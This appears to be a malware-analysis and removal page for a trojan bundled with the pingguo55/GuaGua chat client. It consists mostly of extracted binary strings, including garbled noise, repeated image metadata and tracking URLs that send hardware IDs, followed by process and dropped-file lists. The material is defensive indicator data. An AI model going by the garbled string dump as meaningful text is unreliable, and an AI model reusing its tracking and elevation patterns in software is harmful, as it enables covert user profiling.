" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:40CF74FB66F711E3BD98CBB2EA39BD49" xmpMM:DocumentID="xmp.did:40CF74FC66F711E3BD98CBB2EA39BD49"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:40CF74F966F711E3BD98CBB2EA39BD49" stRef:documentID="xmp.did:40CF74FA66F711E3BD98CBB2EA39BD49"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>

" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:63A497CD66F711E390E4894D7D3DD983" xmpMM:DocumentID="xmp.did:63A497CE66F711E390E4894D7D3DD983"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:63A497CB66F711E390E4894D7D3DD983" stRef:documentID="xmp.did:63A497CC66F711E390E4894D7D3DD983"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>

.VOUc

.^/.xx

.hBeNz"

%UK-r

)II,%d

9T*g

dC".aPya

cX%Sd&

}.fca|

.JK*l

Z_.ud

X9NKey

.HMDz!'G%

.SY$lA2xC

<hD.vTL

" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:7414A804347711E38BA1F49ACC45500D" xmpMM:DocumentID="xmp.did:7414A805347711E38BA1F49ACC45500D"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:7414A802347711E38BA1F49ACC45500D" stRef:documentID="xmp.did:7414A803347711E38BA1F49ACC45500D"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>,aS

" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:1C7A4A3F332011E3862A89A2CE504479" xmpMM:DocumentID="xmp.did:1C7A4A40332011E3862A89A2CE504479"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:1C7A4A3D332011E3862A89A2CE504479" stRef:documentID="xmp.did:1C7A4A3E332011E3862A89A2CE504479"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>

" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:5633EC96331F11E398EADBBD34E86B2A" xmpMM:DocumentID="xmp.did:5633EC97331F11E398EADBBD34E86B2A"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:5633EC94331F11E398EADBBD34E86B2A" stRef:documentID="xmp.did:5633EC95331F11E398EADBBD34E86B2A"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>

L).Xo

iBI%U-M0

QJ&#%X

JD.Da

pM7%uY

.duhX.K5

fWh9"%c

f<%D.

9'.QOo

.jT-3

Uz=\

jLA%F

.wY@aG

inÏ

.Ka-}

%s__~

iTXtXML:com.adobe.xmp

" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134342, 2010/01/10-18:06:43 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5" xmpMM:InstanceID="xmp.iid:C0F312C736DE11E3B73AFD1FDF1B89BE" xmpMM:DocumentID="xmp.did:C0F312C836DE11E3B73AFD1FDF1B89BE"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:C0F312C536DE11E3B73AFD1FDF1B89BE" stRef:documentID="xmp.did:C0F312C636DE11E3B73AFD1FDF1B89BE"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>y

O .oN

H$.UWW

" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:2D71745EF566E311AD71A894D17051CE" xmpMM:DocumentID="xmp.did:82B4BBA466F611E3ABDBEBB485A09B15" xmpMM:InstanceID="xmp.iid:82B4BBA366F611E3ABDBEBB485A09B15" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:2D71745EF566E311AD71A894D17051CE" stRef:documentID="xmp.did:2D71745EF566E311AD71A894D17051CE"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>

version="1.0.0.0"

<requestedExecutionLevel

<!--The ID below indicates application support for Windows Vista -->

<supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/>

<!--The ID below indicates application support for Windows 7 -->

<!--supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/-->

accKeyboardShortcut

2.1.0.0

GirlShow.exe

All Files (*.*)

No error message is available.'An unsupported operation was attempted.$A required resource was unavailable.

Command failed.)Insufficient memory to perform operation.PSystem registry entries have been removed and the INI file (if any) was deleted.BNot all of the system registry entries (or INI file) were removed.FThis program requires the file %s, which was not found on this system.tThis program is linked to the missing export %s in the file %s. This machine may have an incompatible version of %s.

Destination disk drive is full.5Unable to read from %1, it is opened by someone else.AUnable to write to %1, it is read-only or opened by someone else..An unexpected error occurred while reading %1..An unexpected error occurred while writing %1.

Access to %1 was denied..An invalid file handle was associated with %1.<%1 could not be removed because it is the current directory.6%1 could not be created because the directory is full.

Seek failed on A hardware I/O error was reported while accessing %1.0A sharing violation occurred while accessing %1.0A locking violation occurred while accessing %1.

Disk full while accessing %1..An attempt was made to access %1 past its end.

No error occurred.-An unknown error occurred while accessing %1./An attempt was made to write to the reading %1..An attempt was made to access %1 past its end.0An attempt was made to read from the writing %1.

#Unable to load mail system support.

ServiceClient.exe_704:

.text

`.rdata

@.data

.rsrc

MFC71U.DLL

_wcmdln

_amsg_exit

MSVCR71.dll

KERNEL32.dll

USER32.dll

ReportEventW

ADVAPI32.dll

COMCTL32.dll

OLEAUT32.dll

MSVCP71.dll

WTSAPI32.dll

USERENV.dll

<requestedExecutionLevel level='requireAdministrator' uiAccess='false' />

<assemblyIdentity type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='x86' publicKeyToken='6595b64144ccf1df' language='*' />

ResideClient.exe

kernel32.dll

Wtsapi32.dll

1.1.2.1

ServiceClient.exe

ResideClient.exe_652:

.text

`.rdata

@.data

.rsrc

Vh<%C

=hX%C

|$'.uI

|$ .uB

.\CommonInfo.cpp

%d.%d.%d

{9A7FCFFD-86CE-4293-869B-61ED963C57EC}

ExecApp %s %s [%d]

.\DataReptMgr.cpp

ReptTipStart %s

ReptTipDisplay %s

ReptHubbleInstall %s

ReptTipClick %s

ReptNotNeedPopUp %s

ReptClickCloseButton %s

CDataReptMgr::ReptClickCloseButton::strKey:%s

ReptDisplayException %s

ReptTipDisplayBefore %s

ReptClientOnlineTime %s

ReptHubblePullUpUser %s

ReptOnlineInfo %s

%s?product_id=%d&uuid=%I64d&start_time=%I64d&start_duration_minute=%d&pcid=%s&ie_version=%s&window_count=%d&operating_system=%s

hXXp://cj.guagua.cn/cjtype/hubble/useraction

.\GuaGuaRegister.cpp

.\HtmlCtrl.cpp

CHtmlCtrl::OnAppCmd:notip

CHtmlCtrl::OnAppCmd:body

CHtmlCtrl::OnAppCmd:closeself

roomid1=%I64d,url=%s

download_url

display_url

CResideClientApp::ReptUserClickPopUpDlg:productName:%s,Uid=%I64d,RegTime=%I64d

.\ResideClient.cpp

CResideClientApp::ReptUserClickPopUpDlg:ProductID:%d,ProductName:%s,FirstUid:%I64,LastUid:%I64d

CResideClientApp::StatisticsClientOnLineTime::ProductID:%d,BeginTime:%I64d,NowTime:%I64d

CResideClientApp::StatisticsClientOnLineTime::ProductID:%d,BeginTime:%I64d

%d.%d SP%d.%d

Error::CResideClientApp::DealIntervalBusiness:iCode:%d

ProductId=%d ,infotype=%d,result=%d,pushid=%d

uninstall %s

IntervalGetInfoSession Result=%d

GerSystemConfig: fail ResultCode:%d

:result=%d,msg=%s,MaxDisplayNum=%d,PushType=%d,StartDisplayInterval=%d

m_oCommonInfo.GetCurrentRunProduct:

ID:%d

m_oCommonInfo.Load() fail

&pcid=%s

&rec_uid=%I64d&rec_type=%d&ad_id=%d&uuid=%I64d&setup_time=%I64d®_time=%I64d&unstart_minutes=%I64d

product_id=%d&oem_id=%d&version=%d

.\ServiceSession.cpp

Response %s

post data=%s

¬ip=%d

d:d:d:d

.\HttpClass.cpp

SendHttpMsg(%s) error: [%d,%d]%s

PostHttpMsg(%s) error: [%d,%d]%s

.\ReptThread.cpp

Rept %s Result [%d, %d]

XX

x-x-x-x-x-x

GetHardID out hardid:%s

! id:%s

GetHardID full hardid:%s

GetHardID Sid:%s

GetHardID Pid:%s

GetHardID vid:%s

GetHardID result:%d, type:%d outlen:%d

GetHardID::PhysicalDrive%d Success

.\PcCode.cpp

GetHardID::PhysicalDrive%d failed err:%d

f:\New_Login\GuaGua\trunk\Client\Service\bin\ResideClient.pdb

MFC71U.DLL

_wcmdln

_amsg_exit

MSVCR71.dll

KERNEL32.dll

USER32.dll

RegCloseKey

RegOpenKeyExW

RegEnumKeyExW

ADVAPI32.dll

ShellExecuteExW

ShellExecuteW

SHELL32.dll

COMCTL32.dll

SHLWAPI.dll

OLEAUT32.dll

MSVCP71.dll

VERSION.dll

InternetOpenUrlW

InternetCanonicalizeUrlW

HttpQueryInfoW

WININET.dll

NETAPI32.dll

RegOpenKeyW

RegCreateKeyW

ole32.dll

.PAVCObject@@

.PAVCException@@

.PAVCINETException@@

.PAVCInternetException@@

-8668973499411044082

hXXp://cj.guagua.cn/cjtype/hubble/showproduct?product_id=&uuid=-8668973499411044082

82&rec_uid=0&rec_type=0&ad_id=0&fromurl=&webid=&uuid=-8668973499411044082&setuptime=0®time=0

dekey=afd0267f0c6ae76d673eb803d57db2df

%s\ServiceClient.dll

mshtml.dll

SYSTEM\ControlSet001\Services\%s

\%s\data\Spread.dat

%s\GuaGua\data\Spread.dat

\data\service.dat

&checkcodekey=

%s?push_id=%I64d&product_id=%d&oem_id=%d&version=%I64d&pcid=%s&rec_uid=%I64d&rec_type=%d&ad_id=%d&fromurl=%s&webid=%s&uuid=%I64d&setuptime=%I64d®time=%I64d

hXXp://cj.guagua.cn/cjtype/hubble/winstart

hXXp://cj.guagua.cn/cjtype/hubble/windisplay

%d%s%d%s%d%d%I64d%I64d%I64d%I64d%I64d%sguaguahubble2013

%s?product_id=%d&oem_id=%d&version=%I64d&pcid=%s&rec_uid=%I64d&rec_type=%d&ad_id=%d&fromurl=%s&webid=%s&uuid=%I64d&setuptime=%I64d®time=%I64d

hXXp://cj.guagua.cn/cjtype/hubble/install

%s?push_id=%I64d&product_id=%d&oem_id=%d&version=%I64d&pcid=%s&rec_uid=%I64d&rec_type=%d&ad_id=%d&fromurl=%s&webid=%s&uuid=%I64d&setuptime=%I64d®time=%I64d&visitor=%d

hXXp://cj.guagua.cn/cjtype/hubble/winclick

hXXp://cj.guagua.cn/cjtype/hubble/notip

%d%s%d%s%d%I64d%d%I64d%I64d%I64d%I64d%I64d%sguaguahubble2013

hXXp://cj.guagua.cn/cjtype/hubble/colse

hXXp://cj.guagua.cn/cjtype/hubble/windisplayexcep

hXXp://cj.guagua.cn/cjtype/hubble/windisplaybefore

%s?product_id=%s&uuid=%I64d

hXXp://cj.guagua.cn/cjtype/hubble/showproduct

%d%s%d%d%s%d%d%I64d%I64d%I64d%I64d%I64d%sguaguahubble2013

%s?onlinetime=%d&product_id=%d&oem_id=%d&version=%I64d&pcid=%s&rec_uid=%I64d&rec_type=%d&ad_id=%d&fromurl=%s&webid=%s&uuid=%I64d&setuptime=%I64d®time=%I64d

hXXp://cj.guagua.cn/cjtype/hubble/clientonlinetime

%d%s%d%s%d%d%I64d%I64d%I64d%I64d%I64d%I64d%sguaguahubble2013

%s?product_id=%d&oem_id=%d&version=%I64d&pcid=%s&rec_uid=%I64d&rec_type=%d&ad_id=%d&fromurl=%s&webid=%s&uuid=%I64d&setuptime=%I64d®time=%I64d&userid=%I64d

hXXp://cj.guagua.cn/cjtype/hubble/register

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\%s

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

%sroom:%I64d:1

ServiceClient.exe

AhXXp://hubble.guagua.cn/api/globalConf.api

hXXp://hubble.guagua.cn/api/pushConf.api

%s?pname=%s&type=%d

hXXp://cj.17guagua.com/promotion/thirdparty

User-Agent: %s

Content-Type: application/x-www-form-urlencoded

%s\%s%s%d

8\\.\Smartvsd

ntdll.dll

wcods.dat

C%WinDir%\msgpi.log

$Recycle.Bin\$hf_mig$\

update.dat

%WinDir%\gsyspd.log

SOFTWARE\Microsoft\Windows\CurrentVersion\PICheck

%s\%s%s

ms0.dat

%Documents and Settings%\Default User\Local Settings\Temp\Temppc.bak

%s\%s

35bdeb9d7832d63f171f5ebe290e?

1.2.4.1

ResideClient.exe

Remove it with Ad-Aware

1. Click (here) to download and install Ad-Aware Free Antivirus.
2. Update the definition files.
3. Run a full scan of your computer.

Manual removal*

1. Terminate malicious process(es) (How to End a Process With the Task Manager):
   

   ResideClient.exe:652
   net1.exe:604
   ServiceClient.exe:704
   net.exe:516
   pingguo.exe:304
   ServiceClient.e:548
   %original file name%.exe:2040
   girlshow_22000025816.exe:2024
   

2. Delete the original Trojan file.
   
3. Delete or disinfect the following files created/modified by the Trojan:
   

   %Documents and Settings%\All Users\Application Data\GuaGua\Service\service.dat (23 bytes)
   %Documents and Settings%\Default User\Local Settings\Temp\Temppc.bak (96 bytes)
   %Documents and Settings%\%current user%\Cookies\index.dat (1060 bytes)
   %Documents and Settings%\%current user%\Cookies\Current_User@guagua[1].txt (194 bytes)
   %WinDir%\msgpi.log (48 bytes)
   %WinDir%\gsyspd.log (96 bytes)
   %Program Files%\pingguo55\avutil-52.dll (8560 bytes)
   %Program Files%\pingguo55\ChatRoom\Config.ini (51 bytes)
   %Program Files%\pingguo55\RecommendInfo.dll (5064 bytes)
   %Program Files%\pingguo55\UIToolTip.dll (5520 bytes)
   %Program Files%\pingguo55\ChatRoom\CapSreen.dll (1856 bytes)
   %Program Files%\pingguo55\ChatRoom\Flash\E6666.png (8184 bytes)
   %Program Files%\pingguo55\ResideClient.exe (9608 bytes)
   %Program Files%\pingguo55\ChatRoom\data\dice\3.png (5 bytes)
   %Program Files%\pingguo55\ChatRoom\data\QueenLeave.wav (16424 bytes)
   %Program Files%\pingguo55\RtpStack.DLL (8184 bytes)
   %Program Files%\pingguo55\ServiceClient.exe (4992 bytes)
   %Program Files%\pingguo55\ChatRoom\skin\VideoBack.bmp (6360 bytes)
   %Program Files%\pingguo55\MFC71u.dll (33391 bytes)
   %Program Files%\pingguo55\data\HTML\img\wrong.gif (995 bytes)
   %Documents and Settings%\%current user%\Application Data\Pingguo55\Res\Equip\goodscat.dat (11 bytes)
   %Program Files%\pingguo55\GGOle.dll (2392 bytes)
   %Program Files%\pingguo55\IconToolTip.exe (11048 bytes)
   %Program Files%\pingguo55\ServiceClient.dll (3616 bytes)
   %Documents and Settings%\%current user%\Application Data\Pingguo55\Res\Res\rescate.dat (2 bytes)
   %Program Files%\pingguo55\ChatRoom\skin\VideoBack_4_3.bmp (8560 bytes)
   %Program Files%\pingguo55\ChatRoom\data\heaven_bk.gif (7192 bytes)
   %Program Files%\pingguo55\ChatRoom\UIToolTip.dll (17848 bytes)
   %Program Files%\pingguo55\Skin\LoadHtml\images\bj_2.jpg (1 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsr3.tmp\GGExit.exe (1856 bytes)
   %Program Files%\pingguo55\ChatRoom\Flash\E521.swf (784 bytes)
   %Documents and Settings%\%current user%\Application Data\Pingguo55\Res\Equip\EquipFile.dat (784 bytes)
   %Program Files%\pingguo55\Skin\LoadHtml\css\style.css (1 bytes)
   %Program Files%\pingguo55\ChatRoom\data\GiftWizzard_small.swf (5064 bytes)
   %Program Files%\pingguo55\ChatRoom\data\dice\dice.gif (7 bytes)
   %Documents and Settings%\%current user%\Application Data\Pingguo55\Res\Equip\basegoodscat.dat (2 bytes)
   %Program Files%\pingguo55\data\quickSign.swf (2392 bytes)
   %Program Files%\pingguo55\ChatRoom\data\6.gif (14 bytes)
   %Program Files%\pingguo55\ChatRoom\data\AudioEffect1.WAV (784 bytes)
   %Program Files%\pingguo55\ChatRoom\data\4.gif (12 bytes)
   %Program Files%\pingguo55\ChatRoom\data\10.gif (784 bytes)
   %Program Files%\pingguo55\VideoCapture.dll (6360 bytes)
   %Program Files%\pingguo55\data\HTML\img\lock_op.gif (1 bytes)
   %Program Files%\pingguo55\Update.exe (9608 bytes)
   %Program Files%\pingguo55\data\IllWord.dat (3 bytes)
   %Program Files%\pingguo55\data\LgsDatacfg.dat (128 bytes)
   %Program Files%\pingguo55\ChatRoom\data\FlowerData.dat (13 bytes)
   %Program Files%\pingguo55\data\HTML\img\cc.png (2 bytes)
   %Program Files%\pingguo55\uninst.exe (5659 bytes)
   %Documents and Settings%\%current user%\Application Data\Pingguo55\Res\Equip\goods.dat (30968 bytes)
   %Program Files%\pingguo55\data\HTML\img\signloading_top.jpg (7 bytes)
   %Program Files%\pingguo55\AudioCapture.dll (4992 bytes)
   %Program Files%\pingguo55\ChatRoom\Flash\E188.png (6584 bytes)
   %Program Files%\pingguo55\ChatRoom\Flash\E999.png (11048 bytes)
   %Program Files%\pingguo55\ChatRoom\data\dice\1.png (4 bytes)
   %Program Files%\pingguo55\Skin\DefFace.bmp (3 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsr3.tmp\System.dll (10 bytes)
   %Program Files%\pingguo55\ChatRoom\skin\gift_sel_icon.png (1 bytes)
   %Program Files%\pingguo55\data\HTML\img\liebiao_di_on.gif (1 bytes)
   %Program Files%\pingguo55\ImageScale.dll (8560 bytes)
   %Program Files%\pingguo55\ChatRoom\data\11.gif (1552 bytes)
   %Program Files%\pingguo55\Æ»¹ûÊÓƵÉçÇø.url (50 bytes)
   %Documents and Settings%\%current user%\Application Data\Pingguo55\Res\Res\ResFile.dat (2392 bytes)
   %Program Files%\pingguo55\data\HTML\img\lock_cl.gif (1 bytes)
   %Program Files%\pingguo55\gdiplus.dll (49631 bytes)
   %Program Files%\pingguo55\data\HTML\img\lock_op.png (3 bytes)
   %Program Files%\pingguo55\ChatRoom\data\dice\6.png (6 bytes)
   %Program Files%\pingguo55\ChatRoom\data\LuckyGift500.swf (5520 bytes)
   %Program Files%\pingguo55\ChatRoom\data\2.gif (13 bytes)
   %Program Files%\pingguo55\ChatRoom\Flash\E9999.xml (2 bytes)
   %Program Files%\pingguo55\ChatRoom\Flash\E99.swf (784 bytes)
   %Program Files%\pingguo55\msvcr71.dll (12088 bytes)
   %Program Files%\pingguo55\Skin\Alarm.png (4 bytes)
   %Program Files%\pingguo55\ChatRoom\Flash\E6666.swf (784 bytes)
   %Program Files%\pingguo55\data\HTML\img\right.gif (540 bytes)
   %Program Files%\pingguo55\VideoDecode2.dll (32824 bytes)
   %Program Files%\pingguo55\data\HTML\img\button_left.gif (1 bytes)
   %Program Files%\pingguo55\data\HTML\js\EvPng.js (8 bytes)
   %Program Files%\pingguo55\Skin\MercuryEquipCenterSkin.ggs (15168 bytes)
   %Program Files%\pingguo55\msvcp71.dll (16944 bytes)
   %Program Files%\pingguo55\ChatRoom\Flash\E999.xml (2 bytes)
   %Program Files%\pingguo55\ChatRoom\data\HitEggs.swf (42762 bytes)
   %Program Files%\pingguo55\ChatRoom\VolumeCtrl.dll (5520 bytes)
   %Program Files%\pingguo55\AudioDecodec3.dll (8560 bytes)
   %Program Files%\pingguo55\ChatRoom\data\fingerGuessing\0.png (5 bytes)
   %Program Files%\pingguo55\ChatRoom\skin\Alarm.png (4 bytes)
   %Documents and Settings%\%current user%\Application Data\Pingguo55\Res\Equip\basegoods.dat (23296 bytes)
   %Program Files%\pingguo55\Skin\DefFace_21.bmp (1 bytes)
   %Program Files%\pingguo55\ChatRoom\data\SignButton.gif (784 bytes)
   %Program Files%\pingguo55\ChatRoom\skin\DefFace.bmp (3 bytes)
   %Program Files%\pingguo55\ChatRoom\Flash\E9999.swf (784 bytes)
   %Program Files%\pingguo55\ChatRoom\data\5.gif (13 bytes)
   %Program Files%\pingguo55\VideoEncode2.dll (19152 bytes)
   %Program Files%\pingguo55\ChatRoom\skin\PointToPoint.bmp (8560 bytes)
   %Program Files%\pingguo55\ChatRoom\Flash\E99.png (3312 bytes)
   %Program Files%\pingguo55\ChatRoom\VcrMediaLib.dll (11048 bytes)
   %Program Files%\pingguo55\Skin\MercuryUpdateSkin.ggs (10 bytes)
   %Program Files%\pingguo55\ChatRoom\data\bigred.swf (6584 bytes)
   %Program Files%\pingguo55\GGPlayerInstaller.exe (1552 bytes)
   %Program Files%\pingguo55\ChatRoom\data\GiftWizzard_big.swf (5520 bytes)
   %Program Files%\pingguo55\ChatRoom\data\fingerGuessing\fingerguessing.gif (7 bytes)
   %Program Files%\pingguo55\Skin\default_female.png (15 bytes)
   %Program Files%\pingguo55\Skin\MercuryChatHallSkin.ggs (247423 bytes)
   %Program Files%\pingguo55\Skin\LoadHtml\images\jx_sm.gif (381 bytes)
   %Program Files%\pingguo55\ChatRoom\skin\MercuryChatRoom.ggs (147801 bytes)
   %Program Files%\pingguo55\ggplayerDownload.ini (63 bytes)
   %Program Files%\pingguo55\data\Update.dat (81 bytes)
   %Program Files%\pingguo55\Skin\VideoBack.bmp (6360 bytes)
   %Program Files%\pingguo55\ChatRoom\skin\worldBugleIcon.gif (784 bytes)
   %Program Files%\pingguo55\data\CommonConfig.ini (458 bytes)
   %Program Files%\pingguo55\ChatRoom\Flash\flash.swf (3616 bytes)
   %Program Files%\pingguo55\ChatRoom\Flash\E9999.png (12024 bytes)
   %Program Files%\pingguo55\ChatRoom\skin\VideoBackMercury.bmp (2392 bytes)
   %Program Files%\pingguo55\data\HTML\img\liebiao_di.gif (1 bytes)
   %Program Files%\pingguo55\ChatRoom\skin\gift_del_icon.png (1 bytes)
   %Program Files%\pingguo55\ChatRoom\data\fingerGuessing\2.png (5 bytes)
   %Program Files%\pingguo55\ChatRoom\data\QueenEnter.wav (21216 bytes)
   %Program Files%\pingguo55\data\HTML\css\news.css (2 bytes)
   %Documents and Settings%\%current user%\Application Data\Pingguo55\Res\Res\res.dat (3312 bytes)
   %Program Files%\pingguo55\EncWmv.dll (8184 bytes)
   %Program Files%\pingguo55\data\HTML\img\signloading_main.jpg (784 bytes)
   %Program Files%\pingguo55\ChatRoom\Flash\E999.swf (784 bytes)
   %Program Files%\pingguo55\ChatRoom\data\7.gif (15 bytes)
   %Program Files%\pingguo55\Pingguo55.exe (71670 bytes)
   %Program Files%\pingguo55\ChatRoom\data\KingLeave.wav (19152 bytes)
   %Program Files%\pingguo55\Skin\LoadHtml\jz_bbx.html (450 bytes)
   %Program Files%\pingguo55\ChatRoom\skin\PrivteMic.bmp (4992 bytes)
   %Program Files%\pingguo55\data\common.dat (24 bytes)
   %Program Files%\pingguo55\data\HTML\img\aa.png (3 bytes)
   %Program Files%\pingguo55\ChatRoom\ChatRoomClient.dll (10136 bytes)
   %Documents and Settings%\%current user%\Desktop\Æ»¹ûÊÓƵÉçÇø.lnk (762 bytes)
   %Program Files%\pingguo55\ChatRoom\Flash\E99.xml (2 bytes)
   %Program Files%\pingguo55\ChatRoom\ChatRoomUI.dll (72992 bytes)
   %Program Files%\pingguo55\data\HTML\img\button.png (3 bytes)
   %Program Files%\pingguo55\ChatRoomUI.ocx (1552 bytes)
   %Documents and Settings%\%current user%\Start Menu\Programs\Æ»¹ûÊÓƵÉçÇø\жÔØÆ»¹ûÊÓƵÉçÇø.lnk (581 bytes)
   %Program Files%\pingguo55\ChatRoom\data\3.gif (784 bytes)
   %Program Files%\pingguo55\ChatRoom\Flash\E521.xml (2 bytes)
   %Program Files%\pingguo55\ChatRoom\data\fingerGuessing\1.png (5 bytes)
   %Program Files%\pingguo55\data\Spread.dat (112 bytes)
   %Documents and Settings%\%current user%\Start Menu\Programs\Æ»¹ûÊÓƵÉçÇø\Æ»¹ûÊÓƵÉçÇø.lnk (774 bytes)
   %Program Files%\pingguo55\ChatRoom\Flash\E521.png (6584 bytes)
   %Program Files%\pingguo55\data\HTML\signloading.html (1 bytes)
   %Program Files%\pingguo55\data\HTML\img\no_pic.jpg (1552 bytes)
   %Documents and Settings%\%current user%\Application Data\Pingguo55\Res\Res\resfileinfo.dat (16288 bytes)
   %Program Files%\pingguo55\data\HTML\img\bb.png (2 bytes)
   %Program Files%\pingguo55\Skin\default_male.png (15 bytes)
   %Program Files%\pingguo55\ChatRoom\data\smallred.swf (5064 bytes)
   %Program Files%\pingguo55\ChatRoom\Flash\E188.xml (1 bytes)
   %Program Files%\pingguo55\ChatRoom\data\dice\5.png (5 bytes)
   %Program Files%\pingguo55\ChatRoom\data\dice\4.png (5 bytes)
   %Program Files%\pingguo55\ChatRoom\skin\VideoBack_16_9.bmp (8560 bytes)
   %Program Files%\pingguo55\data\FlowerData.dat (13 bytes)
   %Program Files%\pingguo55\DnsSession.dll (8560 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsb2.tmp (918876 bytes)
   %Program Files%\pingguo55\ChatRoom\data\1.gif (784 bytes)
   %Program Files%\pingguo55\ChatRoom\data\dice\2.png (4 bytes)
   %Program Files%\pingguo55\ResCenter.dll (5520 bytes)
   %Program Files%\pingguo55\ChatRoom\data\QuickRegBorder.swf (1 bytes)
   %Program Files%\pingguo55\crashreport.dll (8560 bytes)
   %Program Files%\pingguo55\ChatRoom\Flash\E1314.png (8560 bytes)
   %Program Files%\pingguo55\ChatRoom\data\8.gif (2392 bytes)
   %Program Files%\pingguo55\ChatRoom\data\9.gif (784 bytes)
   %Program Files%\pingguo55\ChatRoom\Flash\E6666.xml (2 bytes)
   %Program Files%\pingguo55\Install.ini (287 bytes)
   %Program Files%\pingguo55\ChatRoom\Flash\E188.swf (784 bytes)
   %Program Files%\pingguo55\AudioCodec3.dll (10136 bytes)
   %Program Files%\pingguo55\Config.ini (67 bytes)
   %Program Files%\pingguo55\ChatRoom\Flash\E1314.swf (784 bytes)
   %Program Files%\pingguo55\ChatRoom\data\GiftPack.swf (784 bytes)
   %Program Files%\pingguo55\data\HTML\img\freeze.gif (615 bytes)
   %Program Files%\pingguo55\ChatRoom\Flash\FlashShow.exe (5520 bytes)
